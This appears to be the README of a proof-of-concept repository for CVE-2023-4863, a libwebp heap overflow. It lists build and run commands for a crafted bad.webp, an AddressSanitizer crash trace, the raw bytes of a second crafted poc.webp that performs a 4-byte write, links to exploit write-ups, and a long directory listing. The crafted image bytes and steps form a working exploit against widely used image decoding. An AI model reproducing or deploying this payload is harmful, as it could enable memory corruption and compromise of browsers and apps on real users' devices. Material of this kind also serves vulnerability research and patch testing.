# level 1: craft.c -> bad.webp
```bash
# exist: docker 813b6b757038 /webp
cd CVE-2023-4863
make -f makefile.unix -B
# fatal error: jpeglib.h: No such file or directory
apt-get update
apt-get install libjpeg-dev
# fatal error: png.h: No such file or directory
apt-get install libpng-dev
# fatal error: tiffio.h: No such file or directory
apt-get install libtiff-dev
# try again
make -f makefile.unix -B
cd examples
gcc -o craft craft.c
./craft bad.webp
./dwebp bad.webp -o test.png
# result:
=================================================================
==983==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x626000002f28 at pc 0x555c7a907cba bp 0x7ffe40ab5ed0 sp 0x7ffe40ab5ec0
WRITE of size 1 at 0x626000002f28 thread T0
#0 0x555c7a907cb9 in BuildHuffmanTable (/webp_test1/examples/dwebp+0xa1cb9)
#1 0x555c7a908047 in VP8LBuildHuffmanTable (/webp_test1/examples/dwebp+0xa2047)
#2 0x555c7a89cfd7 in ReadHuffmanCode (/webp_test1/examples/dwebp+0x36fd7)
#3 0x555c7a8a1a39 in DecodeImageStream (/webp_test1/examples/dwebp+0x3ba39)
#4 0x555c7a8a58be in VP8LDecodeHeader (/webp_test1/examples/dwebp+0x3f8be)
#5 0x555c7a8a775b in DecodeInto (/webp_test1/examples/dwebp+0x4175b)
#6 0x555c7a8aa517 in WebPDecode (/webp_test1/examples/dwebp+0x44517)
#7 0x555c7a875ef1 in main (/webp_test1/examples/dwebp+0xfef1)
#8 0x7f40a58afd8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
#9 0x7f40a58afe3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f)
#10 0x555c7a877ee4 in _start (/webp_test1/examples/dwebp+0x11ee4)
0x626000002f28 is located 0 bytes to the right of 11816-byte region [0x626000000100,0x626000002f28)
allocated by thread T0 here:
#0 0x7f40a5ca1887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x555c7a8a1868 in DecodeImageStream (/webp_test1/examples/dwebp+0x3b868)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/webp_test1/examples/dwebp+0xa1cb9) in BuildHuffmanTable
Shadow bytes around the buggy address:
0x0c4c7fff8590: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4c7fff85a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4c7fff85b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4c7fff85c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4c7fff85d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c4c7fff85e0: 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa
0x0c4c7fff85f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4c7fff8600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4c7fff8610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4c7fff8620: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4c7fff8630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==983==ABORTING
```
reference: \
https://blog.isosceles.com/the-webp-0day/
# level 2: poc.py -> poc.webp
write 4-byte data
```bash
cd ./examples
python poc.py
# result: print poc.webp
bytearray(b'RIFFz\x02\x00\x00WEBPVP8Lm\x02\x00\x00/\x00\x00\x00\x10\x1a\x0f\x82$\t\x92$I\x12DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDffffffffffffffffffV\xcf\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xdd\x9d\x07A\x92\x04I\x92$\t0"""""""""""""""""""""""""""""""""2333333333333333333333333333333333333333333333333333333333\xb3zvwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww\xf7\xce\x83 I\x82$I\x92\x04\x18\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99Y=\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb{\xe7A\x90$A\x92$I\x02\x8c\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xac\x9e\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xbd\xf3 H\x92 I\x92$EV\xcf\xde\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\x01')
```
reference: \
https://www.darknavy.org/blog/exploiting_the_libwebp_vulnerability_part_1/
[4.0K] /data/pocs/87741ddc63f51cfa9bd4ff48c2995bb028f4dcb1
├── [7.4K] Android.mk
├── [2.7K] AUTHORS
├── [ 34] autogen.sh
├── [ 11K] build.gradle
├── [241K] ChangeLog
├── [4.0K] cmake
│ ├── [3.3K] config.h.in
│ ├── [6.1K] cpu.cmake
│ ├── [5.0K] deps.cmake
│ └── [ 486] WebPConfig.cmake.in
├── [ 30K] CMakeLists.txt
├── [ 170] codereview.settings
├── [ 28K] configure.ac
├── [2.6K] CONTRIBUTING.md
├── [1.5K] COPYING
├── [4.0K] doc
│ ├── [ 13K] api.md
│ ├── [5.3K] building.md
│ ├── [ 983] specs_generation.md
│ ├── [1.9K] template.html
│ ├── [ 501] TODO
│ ├── [ 18K] tools.md
│ ├── [ 32K] webp-container-spec.txt
│ └── [ 46K] webp-lossless-bitstream-spec.txt
├── [4.0K] examples
│ ├── [2.1K] Android.mk
│ ├── [ 11K] anim_diff.c
│ ├── [4.2K] anim_dump.c
│ ├── [ 26K] anim_util.c
│ ├── [2.3K] anim_util.h
│ ├── [ 236] bad.webp
│ ├── [ 22K] craft
│ ├── [ 20K] craft.c
│ ├── [1.7M] cwebp
│ ├── [ 48K] cwebp.c
│ ├── [123K] cwebp.o
│ ├── [1.6M] dwebp
│ ├── [ 15K] dwebp.c
│ ├── [ 37K] dwebp.o
│ ├── [ 21K] enough
│ ├── [ 24K] enough.c
│ ├── [4.1K] example_util.c
│ ├── [2.7K] example_util.h
│ ├── [ 14K] example_util.o
│ ├── [ 20K] gif2webp.c
│ ├── [ 13K] gifdec.c
│ ├── [3.9K] gifdec.h
│ ├── [ 11K] img2webp.c
│ ├── [ 14K] libexample_util.a
│ ├── [3.5K] Makefile.am
│ ├── [2.3K] poc.py
│ ├── [ 642] poc.webp
│ ├── [1.8K] stopwatch.h
│ ├── [ 48K] test_ref.ppm
│ ├── [4.8K] test.webp
│ ├── [1.9K] unicode_gif.h
│ ├── [4.4K] unicode.h
│ ├── [ 21K] vwebp.c
│ ├── [ 40K] webpinfo.c
│ └── [ 42K] webpmux.c
├── [4.0K] extras
│ ├── [4.8K] extras.c
│ ├── [3.2K] extras.h
│ ├── [ 12K] get_disto.c
│ ├── [1.3K] Makefile.am
│ ├── [3.7K] quality_estimate.c
│ ├── [2.4K] vwebp_sdl.c
│ ├── [1.5K] webp_quality.c
│ ├── [3.1K] webp_to_sdl.c
│ └── [ 890] webp_to_sdl.h
├── [4.0K] gradle
│ └── [4.0K] wrapper
│ ├── [ 57K] gradle-wrapper.jar
│ └── [ 202] gradle-wrapper.properties
├── [ 451] gradle.properties
├── [5.6K] gradlew
├── [2.9K] gradlew.bat
├── [4.0K] imageio
│ ├── [1.1K] Android.mk
│ ├── [2.7K] image_dec.c
│ ├── [2.2K] image_dec.h
│ ├── [5.3K] image_dec.o
│ ├── [ 21K] image_enc.c
│ ├── [3.0K] image_enc.h
│ ├── [ 42K] image_enc.o
│ ├── [4.8K] imageio_util.c
│ ├── [2.5K] imageio_util.h
│ ├── [9.6K] imageio_util.o
│ ├── [ 11K] jpegdec.c
│ ├── [1.1K] jpegdec.h
│ ├── [ 17K] jpegdec.o
│ ├── [111K] libimagedec.a
│ ├── [ 42K] libimageenc.a
│ ├── [9.9K] libimageio_util.a
│ ├── [1.1K] Makefile.am
│ ├── [1.5K] metadata.c
│ ├── [1.3K] metadata.h
│ ├── [3.5K] metadata.o
│ ├── [ 11K] pngdec.c
│ ├── [1.2K] pngdec.h
│ ├── [ 22K] pngdec.o
│ ├── [9.5K] pnmdec.c
│ ├── [1.1K] pnmdec.h
│ ├── [ 24K] pnmdec.o
│ ├── [9.1K] tiffdec.c
│ ├── [1.2K] tiffdec.h
│ ├── [ 16K] tiffdec.o
│ ├── [7.8K] webpdec.c
│ ├── [2.5K] webpdec.h
│ ├── [ 22K] webpdec.o
│ ├── [ 15K] wicdec.c
│ └── [1.1K] wicdec.h
├── [4.0K] infra
│ ├── [3.5K] common.sh
│ ├── [6.2K] compile_android.sh
│ ├── [2.6K] compile_js.sh
│ ├── [ 11K] compile.sh
│ └── [3.1K] run_static_analysis.sh
├── [5.2K] iosbuild.sh
├── [4.0K] m4
│ └── [ 13K] ax_pthread.m4
├── [ 155] Makefile.am
├── [ 17K] makefile.unix
├── [ 18K] Makefile.vc
├── [4.0K] man
│ ├── [ 13K] cwebp.1
│ ├── [4.7K] dwebp.1
│ ├── [5.4K] gif2webp.1
│ ├── [3.9K] img2webp.1
│ ├── [ 285] Makefile.am
│ ├── [2.5K] vwebp.1
│ ├── [1.8K] webpinfo.1
│ └── [6.4K] webpmux.1
├── [ 13K] NEWS
├── [1.4K] PATENTS
├── [8.8K] PRESUBMIT.py
├── [1.5K] README-Google.md
├── [5.2K] README.md
├── [4.0K] sharpyuv
│ ├── [ 86K] libsharpyuv.a
│ ├── [ 310] libsharpyuv.pc.in
│ ├── [1.0K] libsharpyuv.rc
│ ├── [1.4K] Makefile.am
│ ├── [ 21K] sharpyuv.c
│ ├── [ 652] sharpyuv_cpu.c
│ ├── [ 855] sharpyuv_cpu.h
│ ├── [6.0K] sharpyuv_cpu.o
│ ├── [3.8K] sharpyuv_csp.c
│ ├── [1.8K] sharpyuv_csp.h
│ ├── [8.3K] sharpyuv_csp.o
│ ├── [3.3K] sharpyuv_dsp.c
│ ├── [1.2K] sharpyuv_dsp.h
│ ├── [6.0K] sharpyuv_dsp.o
│ ├── [ 13K] sharpyuv_gamma.c
│ ├── [1.3K] sharpyuv_gamma.h
│ ├── [ 17K] sharpyuv_gamma.o
│ ├── [7.1K] sharpyuv.h
│ ├── [7.2K] sharpyuv_neon.c
│ ├── [1.8K] sharpyuv_neon.o
│ ├── [ 33K] sharpyuv.o
│ ├── [8.5K] sharpyuv_sse2.c
│ └── [ 13K] sharpyuv_sse2.o
├── [4.0K] src
│ ├── [4.0K] dec
│ │ ├── [7.8K] alpha_dec.c
│ │ ├── [ 11K] alpha_dec.o
│ │ ├── [1.6K] alphai_dec.h
│ │ ├── [ 10K] buffer_dec.c
│ │ ├── [ 17K] buffer_dec.o
│ │ ├── [1.6K] common_dec.h
│ │ ├── [ 28K] frame_dec.c
│ │ ├── [ 64K] frame_dec.o
│ │ ├── [ 30K] idec_dec.c
│ │ ├── [ 42K] idec_dec.o
│ │ ├── [ 23K] io_dec.c
│ │ ├── [ 32K] io_dec.o
│ │ ├── [1.0K] Makefile.am
│ │ ├── [4.0K] quant_dec.c
│ │ ├── [ 11K] quant_dec.o
│ │ ├── [ 23K] tree_dec.c
│ │ ├── [ 28K] tree_dec.o
│ │ ├── [ 22K] vp8_dec.c
│ │ ├── [6.8K] vp8_dec.h
│ │ ├── [ 58K] vp8_dec.o
│ │ ├── [ 11K] vp8i_dec.h
│ │ ├── [ 59K] vp8l_dec.c
│ │ ├── [ 65K] vp8l_dec.o
│ │ ├── [4.6K] vp8li_dec.h
│ │ ├── [ 30K] webp_dec.c
│ │ ├── [ 35K] webp_dec.o
│ │ └── [6.2K] webpi_dec.h
│ ├── [4.0K] demux
│ │ ├── [ 17K] anim_decode.c
│ │ ├── [ 16K] anim_decode.o
│ │ ├── [ 31K] demux.c
│ │ ├── [ 36K] demux.o
│ │ ├── [ 53K] libwebpdemux.a
│ │ ├── [ 307] libwebpdemux.pc.in
│ │ ├── [1.0K] libwebpdemux.rc
│ │ └── [ 623] Makefile.am
│ ├── [4.0K] dsp
│ │ ├── [ 19K] alpha_processing.c
│ │ ├── [ 10K] alpha_processing_mips_dsp_r2.c
│ │ ├── [1.8K] alpha_processing_mips_dsp_r2.o
│ │ ├── [7.1K] alpha_processing_neon.c
│ │ ├── [1.8K] alpha_processing_neon.o
│ │ ├── [ 14K] alpha_processing.o
│ │ ├── [ 17K] alpha_processing_sse2.c
│ │ ├── [ 17K] alpha_processing_sse2.o
│ │ ├── [3.7K] alpha_processing_sse41.c
│ │ ├── [1.8K] alpha_processing_sse41.o
│ │ ├── [7.9K] common_sse2.h
│ │ ├── [4.5K] common_sse41.h
│ │ ├── [ 18K] cost.c
│ │ ├── [7.0K] cost_mips32.c
│ │ ├── [1.8K] cost_mips32.o
│ │ ├── [4.7K] cost_mips_dsp_r2.c
│ │ ├── [1.8K] cost_mips_dsp_r2.o
│ │ ├── [4.2K] cost_neon.c
│ │ ├── [1.8K] cost_neon.o
│ │ ├── [ 15K] cost.o
│ │ ├── [4.4K] cost_sse2.c
│ │ ├── [7.0K] cost_sse2.o
│ │ ├── [7.8K] cpu.c
│ │ ├── [8.6K] cpu.h
│ │ ├── [6.0K] cpu.o
│ │ ├── [ 27K] dec.c
│ │ ├── [ 23K] dec_clip_tables.c
│ │ ├── [9.1K] dec_clip_tables.o
│ │ ├── [ 27K] dec_mips32.c
│ │ ├── [1.8K] dec_mips32.o
│ │ ├── [ 50K] dec_mips_dsp_r2.c
│ │ ├── [1.8K] dec_mips_dsp_r2.o
│ │ ├── [ 40K] dec_msa.c
│ │ ├── [1.8K] dec_msa.o
│ │ ├── [ 68K] dec_neon.c
│ │ ├── [1.8K] dec_neon.o
│ │ ├── [106K] dec.o
│ │ ├── [ 47K] dec_sse2.c
│ │ ├── [117K] dec_sse2.o
│ │ ├── [1.3K] dec_sse41.c
│ │ ├── [1.8K] dec_sse41.o
│ │ ├── [ 21K] dsp.h
│ │ ├── [ 24K] enc.c
│ │ ├── [ 35K] enc_mips32.c
│ │ ├── [1.8K] enc_mips32.o
│ │ ├── [ 80K] enc_mips_dsp_r2.c
│ │ ├── [1.8K] enc_mips_dsp_r2.o
│ │ ├── [ 32K] enc_msa.c
│ │ ├── [1.8K] enc_msa.o
│ │ ├── [ 36K] enc_neon.c
│ │ ├── [1.8K] enc_neon.o
│ │ ├── [105K] enc.o
│ │ ├── [ 58K] enc_sse2.c
│ │ ├── [113K] enc_sse2.o
│ │ ├── [ 13K] enc_sse41.c
│ │ ├── [1.8K] enc_sse41.o
│ │ ├── [9.5K] filters.c
│ │ ├── [ 21K] filters_mips_dsp_r2.c
│ │ ├── [1.8K] filters_mips_dsp_r2.o
│ │ ├── [5.7K] filters_msa.c
│ │ ├── [1.8K] filters_msa.o
│ │ ├── [ 11K] filters_neon.c
│ │ ├── [1.8K] filters_neon.o
│ │ ├── [10.0K] filters.o
│ │ ├── [ 13K] filters_sse2.c
│ │ ├── [ 20K] filters_sse2.o
│ │ ├── [ 25K] lossless.c
│ │ ├── [7.2K] lossless_common.h
│ │ ├── [ 38K] lossless_enc.c
│ │ ├── [ 14K] lossless_enc_mips32.c
│ │ ├── [1.8K] lossless_enc_mips32.o
│ │ ├── [ 14K] lossless_enc_mips_dsp_r2.c
│ │ ├── [1.8K] lossless_enc_mips_dsp_r2.o
│ │ ├── [5.6K] lossless_enc_msa.c
│ │ ├── [1.8K] lossless_enc_msa.o
│ │ ├── [5.1K] lossless_enc_neon.c
│ │ ├── [1.8K] lossless_enc_neon.o
│ │ ├── [ 44K] lossless_enc.o
│ │ ├── [ 29K] lossless_enc_sse2.c
│ │ ├── [ 41K] lossless_enc_sse2.o
│ │ ├── [7.6K] lossless_enc_sse41.c
│ │ ├── [1.8K] lossless_enc_sse41.o
│ │ ├── [ 12K] lossless.h
│ │ ├── [ 38K] lossless_mips_dsp_r2.c
│ │ ├── [1.8K] lossless_mips_dsp_r2.o
│ │ ├── [ 13K] lossless_msa.c
│ │ ├── [1.8K] lossless_msa.o
│ │ ├── [ 26K] lossless_neon.c
│ │ ├── [1.8K] lossless_neon.o
│ │ ├── [ 34K] lossless.o
│ │ ├── [ 30K] lossless_sse2.c
│ │ ├── [ 31K] lossless_sse2.o
│ │ ├── [5.2K] lossless_sse41.c
│ │ ├── [1.8K] lossless_sse41.o
│ │ ├── [7.4K] Makefile.am
│ │ ├── [ 12K] mips_macro.h
│ │ ├── [ 63K] msa_macro.h
│ │ ├── [3.9K] neon.h
│ │ ├── [2.6K] quant.h
│ │ ├── [7.9K] rescaler.c
│ │ ├── [ 13K] rescaler_mips32.c
│ │ ├── [1.8K] rescaler_mips32.o
│ │ ├── [ 16K] rescaler_mips_dsp_r2.c
│ │ ├── [1.8K] rescaler_mips_dsp_r2.o
│ │ ├── [ 17K] rescaler_msa.c
│ │ ├── [1.8K] rescaler_msa.o
│ │ ├── [7.3K] rescaler_neon.c
│ │ ├── [1.8K] rescaler_neon.o
│ │ ├── [ 14K] rescaler.o
│ │ ├── [ 14K] rescaler_sse2.c
│ │ ├── [ 20K] rescaler_sse2.o
│ │ ├── [5.2K] ssim.c
│ │ ├── [ 13K] ssim.o
│ │ ├── [5.7K] ssim_sse2.c
│ │ ├── [8.6K] ssim_sse2.o
│ │ ├── [ 14K] upsampling.c
│ │ ├── [ 13K] upsampling_mips_dsp_r2.c
│ │ ├── [1.9K] upsampling_mips_dsp_r2.o
│ │ ├── [ 28K] upsampling_msa.c
│ │ ├── [1.8K] upsampling_msa.o
│ │ ├── [ 15K] upsampling_neon.c
│ │ ├── [1.8K] upsampling_neon.o
│ │ ├── [ 50K] upsampling.o
│ │ ├── [ 15K] upsampling_sse2.c
│ │ ├── [ 61K] upsampling_sse2.o
│ │ ├── [ 13K] upsampling_sse41.c
│ │ ├── [1.9K] upsampling_sse41.o
│ │ ├── [8.6K] yuv.c
│ │ ├── [7.3K] yuv.h
│ │ ├── [5.8K] yuv_mips32.c
│ │ ├── [1.8K] yuv_mips32.o
│ │ ├── [7.9K] yuv_mips_dsp_r2.c
│ │ ├── [1.8K] yuv_mips_dsp_r2.o
│ │ ├── [6.8K] yuv_neon.c
│ │ ├── [1.8K] yuv_neon.o
│ │ ├── [ 25K] yuv.o
│ │ ├── [ 28K] yuv_sse2.c
│ │ ├── [ 63K] yuv_sse2.o
│ │ ├── [ 23K] yuv_sse41.c
│ │ └── [1.9K] yuv_sse41.o
│ ├── [4.0K] enc
│ │ ├── [ 16K] alpha_enc.c
│ │ ├── [ 18K] alpha_enc.o
│ │ ├── [ 16K] analysis_enc.c
│ │ ├── [ 23K] analysis_enc.o
│ │ ├── [ 29K] backward_references_cost_enc.c
│ │ ├── [ 33K] backward_references_cost_enc.o
│ │ ├── [ 38K] backward_references_enc.c
│ │ ├── [8.6K] backward_references_enc.h
│ │ ├── [ 42K] backward_references_enc.o
│ │ ├── [5.6K] config_enc.c
│ │ ├── [9.3K] config_enc.o
│ │ ├── [ 15K] cost_enc.c
│ │ ├── [2.5K] cost_enc.h
│ │ ├── [ 23K] cost_enc.o
│ │ ├── [8.7K] filter_enc.c
│ │ ├── [ 11K] filter_enc.o
│ │ ├── [ 29K] frame_enc.c
│ │ ├── [ 51K] frame_enc.o
│ │ ├── [ 46K] histogram_enc.c
│ │ ├── [5.1K] histogram_enc.h
│ │ ├── [ 71K] histogram_enc.o
│ │ ├── [ 14K] iterator_enc.c
│ │ ├── [ 61K] iterator_enc.o
│ │ ├── [1.7K] Makefile.am
│ │ ├── [5.2K] near_lossless_enc.c
│ │ ├── [5.1K] near_lossless_enc.o
│ │ ├── [ 31K] picture_csp_enc.c
│ │ ├── [ 52K] picture_csp_enc.o
│ │ ├── [9.1K] picture_enc.c
│ │ ├── [ 17K] picture_enc.o
│ │ ├── [8.4K] picture_psnr_enc.c
│ │ ├── [ 12K] picture_psnr_enc.o
│ │ ├── [ 10K] picture_rescale_enc.c
│ │ ├── [ 21K] picture_rescale_enc.o
│ │ ├── [8.6K] picture_tools_enc.c
│ │ ├── [ 20K] picture_tools_enc.o
│ │ ├── [ 32K] predictor_enc.c
│ │ ├── [ 41K] predictor_enc.o
│ │ ├── [ 49K] quant_enc.c
│ │ ├── [109K] quant_enc.o
│ │ ├── [ 12K] syntax_enc.c
│ │ ├── [ 16K] syntax_enc.o
│ │ ├── [8.2K] token_enc.c
│ │ ├── [ 26K] token_enc.o
│ │ ├── [ 21K] tree_enc.c
│ │ ├── [ 13K] tree_enc.o
│ │ ├── [ 22K] vp8i_enc.h
│ │ ├── [ 68K] vp8l_enc.c
│ │ ├── [ 91K] vp8l_enc.o
│ │ ├── [4.6K] vp8li_enc.h
│ │ ├── [ 14K] webp_enc.c
│ │ └── [ 18K] webp_enc.o
│ ├── [2.3M] libwebp.a
│ ├── [ 322] libwebpdecoder.pc.in
│ ├── [1.0K] libwebpdecoder.rc
│ ├── [ 324] libwebp.pc.in
│ ├── [1020] libwebp.rc
│ ├── [1.6K] Makefile.am
│ ├── [4.0K] mux
│ │ ├── [ 57K] anim_encode.c
│ │ ├── [1.5K] animi.h
│ │ ├── [ 326] libwebpmux.pc.in
│ │ ├── [1.0K] libwebpmux.rc
│ │ ├── [ 721] Makefile.am
│ │ ├── [ 21K] muxedit.c
│ │ ├── [7.6K] muxi.h
│ │ ├── [ 17K] muxinternal.c
│ │ └── [ 19K] muxread.c
│ ├── [4.0K] utils
│ │ ├── [5.8K] bit_reader_inl_utils.h
│ │ ├── [8.8K] bit_reader_utils.c
│ │ ├── [7.5K] bit_reader_utils.h
│ │ ├── [ 14K] bit_reader_utils.o
│ │ ├── [ 11K] bit_writer_utils.c
│ │ ├── [5.8K] bit_writer_utils.h
│ │ ├── [ 26K] bit_writer_utils.o
│ │ ├── [1.6K] color_cache_utils.c
│ │ ├── [2.8K] color_cache_utils.h
│ │ ├── [3.0K] color_cache_utils.o
│ │ ├── [2.8K] endian_inl_utils.h
│ │ ├── [2.5K] filters_utils.c
│ │ ├── [ 986] filters_utils.h
│ │ ├── [5.2K] filters_utils.o
│ │ ├── [ 13K] huffman_encode_utils.c
│ │ ├── [2.1K] huffman_encode_utils.h
│ │ ├── [ 19K] huffman_encode_utils.o
│ │ ├── [8.1K] huffman_utils.c
│ │ ├── [3.5K] huffman_utils.h
│ │ ├── [ 13K] huffman_utils.o
│ │ ├── [1.5K] Makefile.am
│ │ ├── [ 13K] palette.c
│ │ ├── [2.5K] palette.h
│ │ ├── [ 13K] palette.o
│ │ ├── [8.9K] quant_levels_dec_utils.c
│ │ ├── [1.2K] quant_levels_dec_utils.h
│ │ ├── [9.6K] quant_levels_dec_utils.o
│ │ ├── [4.0K] quant_levels_utils.c
│ │ ├── [1.2K] quant_levels_utils.h
│ │ ├── [7.6K] quant_levels_utils.o
│ │ ├── [1.8K] random_utils.c
│ │ ├── [2.1K] random_utils.h
│ │ ├── [4.1K] random_utils.o
│ │ ├── [5.8K] rescaler_utils.c
│ │ ├── [4.0K] rescaler_utils.h
│ │ ├── [6.7K] rescaler_utils.o
│ │ ├── [ 11K] thread_utils.c
│ │ ├── [3.6K] thread_utils.h
│ │ ├── [9.1K] thread_utils.o
│ │ ├── [8.6K] utils.c
│ │ ├── [7.0K] utils.h
│ │ └── [3.7K] utils.o
│ └── [4.0K] webp
│ ├── [ 23K] decode.h
│ ├── [ 15K] demux.h
│ ├── [ 27K] encode.h
│ ├── [3.8K] format_constants.h
│ ├── [ 22K] mux.h
│ ├── [3.1K] mux_types.h
│ └── [2.2K] types.h
├── [4.0K] swig
│ ├── [1.4K] libwebp_gc.c
│ ├── [1.2K] libwebp.go
│ ├── [6.4K] libwebp_go_wrap.c
│ ├── [2.1K] libwebp.jar
│ ├── [ 52K] libwebp_java_wrap.c
│ ├── [8.0K] libwebp.py
│ ├── [170K] libwebp_python_wrap.c
│ ├── [ 14K] libwebp.swig
│ ├── [1.4K] README.md
│ └── [1.2K] setup.py
├── [4.0K] tests
│ ├── [4.0K] fuzzer
│ │ ├── [5.5K] advanced_api_fuzzer.c
│ │ ├── [2.5K] animation_api_fuzzer.c
│ │ ├── [1.8K] animdecoder_fuzzer.cc
│ │ ├── [6.3K] animencoder_fuzzer.cc
│ │ ├── [5.2K] enc_dec_fuzzer.cc
│ │ ├── [ 182] fuzz.dict
│ │ ├── [8.4K] fuzz_utils.h
│ │ ├── [ 26K] img_alpha.h
│ │ ├── [7.4K] img_grid.h
│ │ ├── [406K] img_peak.h
│ │ ├── [ 987] makefile.unix
│ │ ├── [2.8K] mux_demux_api_fuzzer.c
│ │ └── [3.1K] simple_api_fuzzer.c
│ └── [ 510] README.md
├── [4.0K] webp_js
│ ├── [2.0K] index.html
│ ├── [2.5K] index_wasm.html
│ ├── [2.6K] README.md
│ ├── [1.3M] test_webp_js.webp
│ └── [1.3M] test_webp_wasm.webp
└── [8.5K] xcframeworkbuild.sh
23 directories, 472 files